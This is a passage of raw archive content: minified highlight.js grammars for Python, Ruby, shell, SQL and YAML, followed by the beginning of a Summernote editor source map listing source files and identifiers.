if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10",built_in:"Ellipsis NotImplemented",literal:"False None True"},r={cN:"meta",b:/^(>>>|\.\.\.) /},a={cN:"subst",b:/\{/,e:/\}/,k:t,i:/#/},n={cN:"string",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[e.BE,r],r:10},{b:/(u|b)?r?"""/,e:/"""/,c:[e.BE,r],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[e.BE,r,a]},{b:/(fr|rf|f)"""/,e:/"""/,c:[e.BE,r,a]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)"/,e:/"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)"/,e:/"/},{b:/(fr|rf|f)'/,e:/'/,c:[e.BE,a]},{b:/(fr|rf|f)"/,e:/"/,c:[e.BE,a]},e.ASM,e.QSM]},i={cN:"number",r:0,v:[{b:e.BNR+"[lLjJ]?"},{b:"\\b(0o[0-7]+)[lLjJ]?"},{b:e.CNR+"[lLjJ]?"}]},s={cN:"params",b:/\(/,e:/\)/,c:["self",r,i,n]};return a.c=[n,i,r],{aliases:["py","gyp","ipython"],k:t,i:/(<\/|->|\?)|=>/,c:[r,i,n,e.HCM,{v:[{cN:"function",bK:"def"},{cN:"class",bK:"class"}],e:/:/,i:/[${=;\n,]/,c:[e.UTM,s,{b:/->/,eW:!0,k:"None"}]},{cN:"meta",b:/^[\t ]*@/,e:/$/},{b:/\b(print|exec)\(/}]}}),n.registerLanguage("ruby",function(e){var t="[a-zA-Z_]\\w*[!?=]?|[-+~]\\@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?",r={keyword:"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor",literal:"true false nil"},a={cN:"doctag",b:"@[A-Za-z]+"},n={b:"#<",e:">"},i=[e.C("#","$",{c:[a]}),e.C("^\\=begin","^\\=end",{c:[a],r:10}),e.C("^__END__","\\n$")],s={cN:"subst",b:"#\\{",e:"}",k:r},c={cN:"string",c:[e.BE,s],v:[{b:/'/,e:/'/},{b:/"/,e:/"/},{b:/`/,e:/`/},{b:"%[qQwWx]?\\(",e:"\\)"},{b:"%[qQwWx]?\\[",e:"\\]"},{b:"%[qQwWx]?{",e:"}"},{b:"%[qQwWx]?<",e:">"},{b:"%[qQwWx]?/",e:"/"},{b:"%[qQwWx]?%",e:"%"},{b:"%[qQwWx]?-",e:"-"},{b:"%[qQwWx]?\\|",e:"\\|"},{b:/\B\?(\\\d{1,3}|\\x[A-Fa-f0-9]{1,2}|\\u[A-Fa-f0-9]{4}|\\?\S)\b/},{b:/<<[-~]?'?(\w+)(?:.|\n)*?\n\s*\1\b/,rB:!0,c:[{b:/<<[-~]?'?/},{b:/\w+/,endSameAsBegin:!0,c:[e.BE,s]}]}]},o={cN:"params",b:"\\(",e:"\\)",endsParent:!0,k:r},l=[c,n,{cN:"class",bK:"class module",e:"$|;",i:/=/,c:[e.inherit(e.TM,{b:"[A-Za-z_]\\w*(::\\w+)*(\\?|\\!)?"}),{b:"<\\s*",c:[{b:"("+e.IR+"::)?"+e.IR}]}].concat(i)},{cN:"function",bK:"def",e:"$|;",c:[e.inherit(e.TM,{b:t}),o].concat(i)},{b:e.IR+"::"},{cN:"symbol",b:e.UIR+"(\\!|\\?)?:",r:0},{cN:"symbol",b:":(?!\\s)",c:[c,{b:t}],r:0},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\$\\W)|((\\$|\\@\\@?)(\\w+))"},{cN:"params",b:/\|/,e:/\|/,k:r},{b:"("+e.RSR+"|unless)\\s*",k:"unless",c:[n,{cN:"regexp",c:[e.BE,s],i:/\n/,v:[{b:"/",e:"/[a-z]*"},{b:"%r{",e:"}[a-z]*"},{b:"%r\\(",e:"\\)[a-z]*"},{b:"%r!",e:"![a-z]*"},{b:"%r\\[",e:"\\][a-z]*"}]}].concat(i),r:0}].concat(i);s.c=l;var u=[{b:/^\s*=>/,starts:{e:"$",c:o.c=l}},{cN:"meta",b:"^([>?]>|[\\w#]+\\(\\w+\\):\\d+:\\d+>|(\\w+-)?\\d+\\.\\d+\\.\\d(p\\d+)?[^>]+>)",starts:{e:"$",c:l}}];return{aliases:["rb","gemspec","podspec","thor","irb"],k:r,i:/\/\*/,c:i.concat(u).concat(l)}}),n.registerLanguage("shell",function(e){return{aliases:["console"],c:[{cN:"meta",b:"^\\s{0,3}[\\w\\d\\[\\]()@-]*[>%$#]",starts:{e:"$",sL:"bash"}}]}}),n.registerLanguage("sql",function(e){var t=e.C("--","$");return{cI:!0,i:/[<>{}*]/,c:[{bK:"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment values with",e:/;/,eW:!0,l:/[\w\.]+/,k:{keyword:"as abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias all allocate allow alter always analyze ancillary and anti any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound bucket buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain explode export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force foreign form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour hours http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lateral lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minutes minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notnull notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second seconds section securefile security seed segment select self semi sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tablesample tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unnest unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace window with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek",literal:"true false null unknown",built_in:"array bigint binary bit blob bool boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text time timestamp tinyint varchar varying void"},c:[{cN:"string",b:"'",e:"'",c:[e.BE,{b:"''"}]},{cN:"string",b:'"',e:'"',c:[e.BE,{b:'""'}]},{cN:"string",b:"`",e:"`",c:[e.BE]},e.CNM,e.CBCM,t,e.HCM]},e.CBCM,t,e.HCM]}}),n.registerLanguage("yaml",function(e){var t="true false yes no null",r="^[ \\-]*",a="[a-zA-Z_][\\w\\-]*",n={cN:"attr",v:[{b:r+a+":"},{b:r+'"'+a+'":'},{b:r+"'"+a+"':"}]},i={cN:"string",r:0,v:[{b:/'/,e:/'/},{b:/"/,e:/"/},{b:/\S+/}],c:[e.BE,{cN:"template-variable",v:[{b:"{{",e:"}}"},{b:"%{",e:"}"}]}]};return{cI:!0,aliases:["yml","YAML","yaml"],c:[n,{cN:"meta",b:"^---s*$",r:10},{cN:"string",b:"[\\|>] *$",rE:!0,c:i.c,e:n.v[0].b},{b:"<%[%=-]?",e:"[%-]?%>",sL:"ruby",eB:!0,eE:!0,r:0},{cN:"type",b:"!"+e.UIR},{cN:"type",b:"!!"+e.UIR},{cN:"meta",b:"&"+e.UIR+"$"},{cN:"meta",b:"\\*"+e.UIR+"$"},{cN:"bullet",b:"^ *-",r:0},e.HCM,{bK:t,k:{literal:t}},e.CNM,i]}}),n});PKZWXDD#vendor/jquery/summernote-bs4.js.mapnu[{"version":3,"sources":["webpack:///webpack/universalModuleDefinition","webpack:///webpack/bootstrap","webpack:///external {\"root\":\"jQuery\",\"commonjs2\":\"jquery\",\"commonjs\":\"jquery\",\"amd\":\"jquery\"}","webpack:///./src/js/base/renderer.js","webpack:///(webpack)/buildin/amd-options.js","webpack:///./src/js/base/summernote-en-US.js","webpack:///./src/js/base/core/env.js","webpack:///./src/js/base/core/func.js","webpack:///./src/js/base/core/lists.js","webpack:///./src/js/base/core/dom.js","webpack:///./src/js/base/Context.js","webpack:///./src/js/summernote.js","webpack:///./src/js/base/core/range.js","webpack:///./src/js/base/core/key.js","webpack:///./src/js/base/core/async.js","webpack:///./src/js/base/editing/History.js","webpack:///./src/js/base/editing/Style.js","webpack:///./src/js/base/editing/Bullet.js","webpack:///./src/js/base/editing/Typing.js","webpack:///./src/js/base/editing/Table.js","webpack:///./src/js/base/module/Editor.js","webpack:///./src/js/base/module/Clipboard.js","webpack:///./src/js/base/module/Dropzone.js","webpack:///./src/js/base/module/Codeview.js","webpack:///./src/js/base/module/Statusbar.js","webpack:///./src/js/base/module/Fullscreen.js","webpack:///./src/js/base/module/Handle.js","webpack:///./src/js/base/module/AutoLink.js","webpack:///./src/js/base/module/AutoSync.js","webpack:///./src/js/base/module/AutoReplace.js","webpack:///./src/js/base/module/Placeholder.js","webpack:///./src/js/base/module/Buttons.js","webpack:///./src/js/base/module/Toolbar.js","webpack:///./src/js/base/module/LinkDialog.js","webpack:///./src/js/base/module/LinkPopover.js","webpack:///./src/js/base/module/ImageDialog.js","webpack:///./src/js/base/module/ImagePopover.js","webpack:///./src/js/base/module/TablePopover.js","webpack:///./src/js/base/module/VideoDialog.js","webpack:///./src/js/base/module/HelpDialog.js","webpack:///./src/js/base/module/AirPopover.js","webpack:///./src/js/base/module/HintPopover.js","webpack:///./src/js/base/settings.js","webpack:///./src/styles/summernote-bs4.scss","webpack:///./src/js/bs4/ui.js","webpack:///./src/js/bs4/settings.js"],"names":["Renderer","markup","children","options","callback","$parent","$node","$","contents","html","className","addClass","data","each","k","v","attr","click","on","$container","find","forEach","child","render","length","append","create","arguments","Array","isArray","summernote","lang","extend","font","bold","italic","underline","clear","height","name","strikethrough","subscript","superscript","size","sizeunit","image","insert","resizeFull","resizeHalf","resizeQuarter","resizeNone","floatLeft","floatRight","floatNone","shapeRounded","shapeCircle","shapeThumbnail","shapeNone","dragImageHere","dropImage","selectFromFiles","maximumFileSize","maximumFileSizeError","url","remove","original","video","videoLink","providers","link","unlink","edit","textToDisplay","openInNewWindow","useProtocol","table","addRowAbove","addRowBelow","addColLeft","addColRight","delRow","delCol","delTable","hr","style","p","blockquote","pre","h1","h2","h3","h4","h5","h6","lists","unordered","ordered","help","fullscreen","codeview","paragraph","outdent","indent","left","center","right","justify","color","recent","more","background","foreground","transparent","setTransparent","reset","resetToDefault","cpSelect","shortcut","shortcuts","close","textFormatting","action","paragraphFormatting","documentStyle","extraKeys","history","undo","redo","specialChar","select","output","noSelection","isSupportAmd","define","genericFontFamilies","validFontName","fontName","inArray","toLowerCase","isFontInstalled","testFontName","testText","testSize","canvas","document","createElement","context","getContext","originalWidth","measureText","width","userAgent","navigator","isMSIE","test","browserVersion","matches","exec","parseFloat","isEdge","hasCodeMirror","window","CodeMirror","isSupportTouch","MaxTouchPoints","msMaxTouchPoints","inputEventName","isMac","appVersion","indexOf","isFF","isPhantom","isWebkit","isChrome","isSafari","jqueryVersion","fn","jquery","isW3CRangeSupport","createRange","eq","itemA","itemB","eq2","peq2","propName","ok","fail","not","f","apply","and","fA","fB","item","self","a","invoke","obj","method","idCounter","resetUniqueId","uniqueId","prefix","id","rect2bnd","rect","$document","top","scrollTop","scrollLeft","bottom","invertObject","inverted","key","Object","prototype","hasOwnProperty","call","namespaceToCamel","namespace","split","map","substring","toUpperCase","join","debounce","func","wait","immediate","timeout","args","later","callNow","clearTimeout","setTimeout","isValidUrl","expression","head","array","last","initial","slice","tail","pred","idx","len","all","contains","sum","reduce","memo","from","collection","result","isEmpty","clusterBy","aTail","aLast","compact","aResult","push","unique","results","next","prev","NBSP_CHAR","String","fromCharCode","ZERO_WIDTH_NBSP_CHAR","isEditable","node","hasClass","isControlSizing","makePredByNodeName","nodeName","isText","nodeType","isElement","isVoid","isPara","isHeading","isPre","isLi","isPurePara","isTable","isData","isInline","isBodyContainer","isList","isHr","isBlockquote","isCell","isAnchor","isParaInline","ancestor","isBodyInline","isBody","isClosestSibling","nodeA","nodeB","nextSibling","previousSibling","withClosestSiblings","siblings","blankHTML","env","nodeLength","nodeValue","childNodes","deepestChildIsEmpty","firstElementChild","innerHTML","paddingBlankHTML","parentNode","singleChildAncestor","listAncestor","ancestors","el","lastAncestor","filter","commonAncestor","n","listPrev","nodes","listNext","listDescendant","descendants","fnWalk","current","wrap","wrapperName","parent","wrapper","insertBefore","appendChild","insertAfter","preceding","appendChildNodes","aChild","isLeftEdgePoint","point","offset","isRightEdgePoint","isEdgePoint","isLeftEdgeOf","position","isRightEdgeOf","isLeftEdgePointOf","isRightEdgePointOf","hasChildren","prevPoint","isSkipInnerOffset","nextPoint","isSamePoint","pointA","pointB","isVisiblePoint","leftNode","rightNode","prevPointUntil","nextPointUntil","isCharPoint","ch","charAt","isSpacePoint","walkPoint","startPoint","endPoint","handler","isSkipOffset","makeOffsetPath","reverse","fromOffsetPath","offsets","i","splitNode","isSkipPaddingBlankHTML","isNotSplitEdgePoint","isDiscardEmptySplits","splitText","childNode","clone","cloneNode","splitTree","root","splitPoint","topAncestor","splitRoot","container","pivot","createText","text","createTextNode","isRemoveChild","removeNode","removeChild","removeWhile","replace","newNode","cssText","isTextarea","value","stripLinebreaks","val","isNewlineOnBlock","regexTag","match","endSlash","isEndOfInlineContainer","isBlockNode","trim","posFromPlaceholder","placeholder","$placeholder","pos","outerHeight","attachEvents","events","keys","detachEvents","off","isCustomStyleTag","classList","blank","emptyPara","isBlock","isDiv","isBR","isSpan","isB","isU","isS","isI","isImg","isEmptyAnchor","Context","$note","memos","modules","layoutInfo","ui","ui_template","initialize","createLayout","_initialize","hide","_destroy","removeData","removeLayout","disabled","isDisabled","code","dom","disable","now","editor","buttons","plugins","module","initializeModule","removeModule","removeMemo","triggerEvent","isActivated","undefined","codable","editable","editing","callbacks","trigger","shouldInitialize","ModuleClass","withoutIntialize","destroy","event","createInvokeHandler","preventDefault","$target","target","closest","splits","hasSeparator","moduleName","methodName","type","isExternalAPICalled","hasInitOptions","langInfo","icons","tooltip","note","first","focus","textRangeToPoint","textRange","isStart","parentElement","tester","body","createTextRange","prevContainer","moveToElementText","compareEndPoints","textRangeStart","curTextNode","collapse","firstChild","pointTester","duplicate","setEndPoint","textCount","dummy","cont","pointToTextRange","textRangeInfo","isCollapseToStart","prevTextNodes","collapseToStart","info","moveStart","WrappedRange","sc","so","ec","eo","isOnEditable","makeIsOn","isOnList","isOnAnchor","isOnCell","isOnData","w3cRange","setStart","setEnd","Math","min","nativeRng","nativeRange","selection","getSelection","rangeCount","removeAllRanges","addRange","offsetTop","abs","getVisiblePoint","isLeftToRight","block","hasRightNode","hasLeftNode","getEndPoint","isCollapsed","getStartPoint","includeAncestor","fullyContains","leftEdgeNodes","startAncestor","endAncestor","boundaryPoints","getPoints","isSameContainer","rng","emptyParents","normalize","inlineSiblings","concat","para","wrapBodyInlineWithPara","deleteContents","contentsContainer","insertNode","toString","findAfter","isNotTextPoint","regex","index","s","path","e","paras","getClientRects","wrappedRange","createFromSelection","bodyElement","lastChild","createFromBodyElement","createFromNode","anchorNode","getRangeAt","startContainer","startOffset","endContainer","endOffset","textRangeEnd","isTextNode","createFromNodeBefore","createFromNodeAfter","createFromBookmark","bookmark","createFromParaBookmark","KEY_MAP","isEdit","keyCode","BACKSPACE","TAB","ENTER","SPACE","DELETE","isMove","LEFT","UP","RIGHT","DOWN","isNavigation","HOME","END","PAGEUP","PAGEDOWN","nameFromCode","readFileAsDataURL","file","Deferred","deferred","FileReader","onload","dataURL","resolve","onerror","err","reject","readAsDataURL","promise","createImage","$img","one","detach","css","display","appendTo","History","stack","stackOffset","$editable","range","emptyBookmark","snapshot","recordUndo","applySnapshot","makeSnapshot","historyLimit","shift","Style","$obj","propertyNames","propertyName","properties","styleInfo","jQueryCSS","fontSize","parseInt","expandClosestSibling","onlyPartialContains","nodesInRange","tails","elem","$cont","fromNode","queryCommandState","queryCommandValue","orderedTypes","isUnordered","lineHeight","toFixed","anchor","Bullet","toggleList","clustereds","previousList","findList","wrapList","appendToPrevious","releaseList","listName","paraBookmark","wrappedParas","diffLists","listNode","prevList","nextList","isEscapseToBody","releasedParas","headList","parentItem","newList","findNextSiblings","lastList","middleList","rootLists","rootList","listNodes","Typing","bullet","tabsize","tab","nextPara","blockquoteBreakingLevel","emptyAnchors","scrollIntoView","TableResultAction","where","domTable","_startPoint","_virtualTable","_actionCellList","setStartPoint","tagName","colPos","cellIndex","rowPos","rowIndex","setVirtualTablePosition","baseRow","baseCell","isRowSpan","isColSpan","isVirtualCell","objPosition","getActionCell","virtualTableCellObj","resultAction","virtualRowPosition","virtualColPosition","recoverCellIndex","newCellIndex","addCellInfoToVirtual","row","cell","cellHasColspan","colSpan","cellHasRowspan","rowSpan","isThisSelectedCell","rowspanNumber","attributes","rp","rowspanIndex","adjustStartPoint","colspanNumber","cp","cellspanIndex","isSelectedCell","createVirtualTable","rows","cells","getDeleteResultActionToCell","Column","SubtractSpanCount","Row","isVirtual","AddCell","RemoveCell","getAddResultActionToCell","SumSpanCount","Ignore","init","getActionList","fixedRow","fixedCol","actualPosition","canContinue","rowPosition","colPosition","requestAction","Add","Delete","Table","isShift","nextCell","currentTr","trAttributes","recoverAttributes","vTable","actions","idCell","currentCell","tdAttributes","baseCellTr","isTopFromRowSpan","newTd","removeAttr","setAttribute","before","lastTrIndex","after","rowsGroup","actionIndex","resultStr","attrList","specified","cellPos","virtualPosition","virtualTable","hasRowspan","nextRow","cloneRow","removeAttribute","hasColspan","colCount","rowCount","tds","tdHTML","idxCol","trs","trHTML","idxRow","$table","tableClassName","KEY_BOGUS","Editor","$editor","lastRange","typing","untab","insertParagraph","insertOrderedList","insertUnorderedList","formatPara","insertHorizontalRule","commands","sCmd","beforeCommand","execCommand","afterCommand","wrapCommand","fontStyling","unit","currentStyle","fontSizeUnit","formatBlock","isLimited","getLastRange","setLastRange","insertText","textNode","pasteHTML","onApplyCustomStyle","onFormatBlock","hrNode","stylePara","createLink","linkInfo","linkUrl","linkText","isNewWindow","checkProtocol","additionalTextLength","isTextChanged","onCreateLink","defaultProtocol","anchors","styleNodes","startRange","endRange","colorInfo","foreColor","backColor","insertTable","dim","dimension","createTable","removeMedia","restoreTarget","floatMe","toggleClass","resize","hasKeyShortCut","isDefaultPrevented","handleKeyMap","preventDefaultEditableShortCuts","recordEveryKeystroke","spellCheck","disableGrammar","airMode","overrideContextMenu","outerWidth","maxHeight","minHeight","keyMap","metaKey","ctrlKey","altKey","shiftKey","keyName","eventName","tabDisable","pad","maxTextLength","thenCollapse","commit","styleWithCSS","isPreventTrigger","normalizeContent","tabSize","insertTab","src","param","then","$image","show","files","filename","maximumImageFileSize","insertImage","onImageUpload","insertImagesAsDataURL","currentRange","spans","firstSpan","noteStatusOutput","expand","$anchor","addRow","addCol","deleteRow","deleteCol","deleteTable","bKeepRatio","imageSize","newRatio","y","x","ratio","is","hasFocus","Clipboard","pasteByEvent","bind","clipboardData","originalEvent","items","kind","getAsFile","getData","Dropzone","$eventListener","documentEventHandlers","$dropzone","prependTo","disableDragAndDrop","onDrop","attachDragAndDropEvent","$dropzoneMessage","onDragenter","isCodeview","hasEditorSize","add","onDragleave","removeClass","dataTransfer","types","content","substr","CodeView","$codable","save","deactivate","activate","codeviewFilter","codeviewFilterRegex","codeviewIframeFilter","whitelist","codeviewIframeWhitelistSrc","codeviewIframeWhitelistSrcBase","tag","RegExp","prettifyHtml","cmEditor","fromTextArea","codemirror","tern","server","TernServer","ternServer","cm","updateArgHints","getValue","setSize","toTextArea","purify","isChange","EDITABLE_PADDING","Statusbar","$statusbar","statusbar","disableResizeEditor","stopPropagation","editableTop","onMouseMove","clientY","minheight","max","Fullscreen","$toolbar","toolbar","$window","$scrollbar","onResize","resizeTo","h","setsize","isFullscreen","Handle","$editingArea","editingArea","we","update","$handle","disableResizeImage","posStart","clientX","isImage","$selection","w","origImageObj","Image","sizingText","defaultScheme","linkPattern","AutoLink","handleKeyup","handleKeydown","lastWordRange","keyword","urlText","linkTargetBlank","wordRange","getWordRange","AutoSync","AutoReplace","PERIOD","COMMA","SEMICOLON","SLASH","previousKeydownCode","lastWord","jQuery","Node","Placeholder","inheritPlaceholder","isShow","toggle","Buttons","invertedKeyMap","editorMethod","o","button","addToolbarButtons","addImagePopoverButtons","addLinkPopoverButtons","addTablePopoverButtons","fontInstalledMap","fontNamesIgnoreCheck","buttonGroup","icon","$button","currentTarget","$recentColor","colorButton","dropdownButtonContents","dropdown","$dropdown","$holder","palette","colors","colorsName","customColors","change","$chip","$picker","$palette","prepend","$color","$currentButton","magic","styleTags","title","template","styleIdx","styleLen","representShortcut","createInvokeHandlerAndUpdateState","eraser","addDefaultFonts","fontname","isFontDeservedToAdd","fontNames","dropdownCheck","checkClassName","menuCheck","fontSizes","fontSizeUnits","colorPalette","unorderedlist","orderedlist","justifyLeft","alignLeft","justifyCenter","alignCenter","justifyRight","alignRight","justifyFull","alignJustify","textHeight","lineHeights","$catcher","insertTableMaxSize","col","mousedown","tableMoveHandler","picture","minus","arrowsAlt","question","rollback","trash","rowAbove","rowBelow","colBefore","colAfter","rowRemove","colRemove","groups","groupIdx","groupLen","group","groupName","$group","btn","updateBtnStates","$item","isChecked","infos","selector","toggleBtnActive","PX_PER_EM","$dimensionDisplay","$highlighted","$unhighlighted","posOffset","offsetX","posCatcher","pageX","pageY","offsetY","c","ceil","r","Toolbar","isFollowing","followScroll","toolbarContainer","changeContainer","followingToolbar","editorHeight","editorWidth","toolbarHeight","statusbarHeight","otherBarHeight","otherStaticBar","currentOffset","editorOffsetTop","editorOffsetBottom","activateOffset","deactivateOffsetBottom","marginTop","zIndex","isIncludeCodeview","$btn","toggleBtn","LinkDialog","$body","dialogsInBody","disableLinkTarget","checkbox","checked","buttonClass","footer","$dialog","dialog","fade","dialogsFade","hideDialog","$input","$linkBtn","$linkText","$linkUrl","$openInNewWindow","$useProtocol","onDialogShown","toggleLinkBtn","bindEnterKey","isNewWindowChecked","prop","useProtocolChecked","onDialogHidden","state","showDialog","showLinkDialog","LinkPopover","popover","$popover","$content","href","containerOffset","ImageDialog","imageLimitation","floor","log","readableSize","pow","showImageDialog","onImageLinkInsert","$imageInput","$imageUrl","$imageBtn","replaceWith","ImagePopover","popatmouse","TablePopover","VideoDialog","ytRegExp","ytRegExpForStart","ytMatch","igRegExp","igMatch","vRegExp","vMatch","vimRegExp","vimMatch","dmRegExp","dmMatch","youkuRegExp","youkuMatch","qqRegExp","qqMatch","qqRegExp2","qqMatch2","mp4RegExp","mp4Match","oggRegExp","oggMatch","webmRegExp","webmMatch","fbRegExp","fbMatch","$video","youtubeId","start","ytMatchForStart","vid","encodeURIComponent","showVideoDialog","createVideoNode","$videoUrl","$videoBtn","HelpDialog","createShortcutList","command","$row","showHelpDialog","AIRMODE_POPOVER_X_OFFSET","AIRMODE_POPOVER_Y_OFFSET","AirPopover","hidable","onContextmenu","air","forcelyOpen","POPOVER_DIST","HintPopover","hint